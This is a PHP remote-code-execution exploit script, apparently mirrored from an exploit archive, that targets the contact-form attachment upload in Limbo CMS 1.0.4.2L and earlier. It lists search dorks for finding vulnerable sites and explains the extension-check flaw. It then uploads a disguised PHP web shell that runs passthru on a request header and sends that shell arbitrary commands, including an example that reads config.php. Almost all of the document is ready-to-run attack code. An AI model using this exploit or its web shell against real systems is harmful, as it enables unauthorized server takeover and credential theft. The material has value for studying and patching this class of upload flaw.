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Limbo CMS <= 1.0.4.2L (com_contact) Remote Code Execution Exploit
================================================================= Limbo CMS <= 1.0.4.2L (com_contact) Remote Code Execution Exploit ================================================================= #!/usr/bin/php -q -d short_open_tag=on <? print_r(' ----------------------------------------------------------------------------- Limbo <= 1.0.4.2L "com_contact" remote commands execution exploit dorks: inurl:contact inurl:Itemid inurl:option attachment "Enter your name:" intext:"site powered by limbo" ----------------------------------------------------------------------------- '); if ($argc<3) { print_r(' ----------------------------------------------------------------------------- Usage: php '.$argv[0].' host path itemid cmd OPTIONS host: target server (ip/hostname) path: path to Limbo itemid: a number, check [*] or [**] cmd: a shell command Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' 2.2.2.2 /limbo/ 43 ls -la -P1.1.1.1:80 php '.$argv[0].' 1.1.1.1 / 3 cat ./../../config.php -p81 ----------------------------------------------------------------------------- '); die; } /* explaination: there are some upload scripts in default installation, check: [*] http://target/path_to_limbo/index.php?Itemid=43&option=contact [**] http://target/path_to_limbo/index.php?Itemid=3&option=contact and there is a vulnerable function in /components/com_contact/contact.html.php near lines 69-73: ... function file_ext($file) { $ext = explode(".", $file); return strtolower($ext[1]); //[!!!!!!] <------------------------------------------- } ... now look at /components/com_contact/contact.php ... switch ( $task ) { case "post": { $abs_dir = $lm_absolute_path."images/contact/"; $web_dir = $lm_website."images/contact/"; if (!is_dir($abs_dir)) mkdir($abs_dir); $valid_ext = array( "jpg", "png", "gif", "doc", "xls" ); if ($_FILES['contact_attach']['name']!="") { $tmp_name = $_FILES['contact_attach']['tmp_name']; $name = $_FILES['contact_attach']['name']; $ext = file_ext($name); // [!] <----------------------------------- if(!in_array($ext,$valid_ext)) // [!!] <----------------------------------- { ?> <script language="JavaScript" type="text/javascript"> alert("<?php echo _MESSAGE_ATTACH_INVALID; ?>"); window.history.go(-1); </script> <?php }else{ @move_uploaded_file($tmp_name, $abs_dir.$name); // [!!!!] <----------------------------------- $contact_text.=" ("._MESSAGE_ATTACH.$web_dir.$name.")"; } } ... but what happen if the attachment filename is like suntzu.gif.php ? You can upload arbitrary php code, then u launch commands: http://[target]/[path]/images/contact/suntzu.gif.php?cmd=ls%20-la */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $itemid=$argv[3]; $cmd=""; $port=80; $proxy=""; for ($i=4; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $data="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"contact_name\";\r\n\r\n"; $data.="suntzu\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"contact_email\";\r\n\r\n"; $data.="suntzu@suntzu.org\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"contact_subject\";\r\n\r\n"; $data.="hereitissuntzu\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"contact_text\";\r\n\r\n"; $data.="ohshit\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"task\";\r\n\r\n"; $data.="post\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"send\";\r\n\r\n"; $data.="Send\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"contact_attach\"; filename=\"suntzu.gif.php\";\r\n"; $data.="Content-Type: image/gif;\r\n\r\n"; $data.="<?php set_time_limit(0); echo 'my_delim';passthru(\$_SERVER['HTTP_SUNTZU']);die;?>\r\n"; $data.="-----------------------------7d529a1d23092a--\r\n"; $packet ="POST ".$p."index.php?option=contact&Itemid=$itemid HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $packet ="GET ".$p."images/contact/suntzu.gif.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="SUNTZU: ".$cmd."\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"my_delim")) { echo "exploit succeeded ...\r\n"; $temp=explode("my_delim",$html); die($temp[1]); } //if you are here... echo "exploit failed ...\r\n"; ?> # 0day.today [2024-12-24] #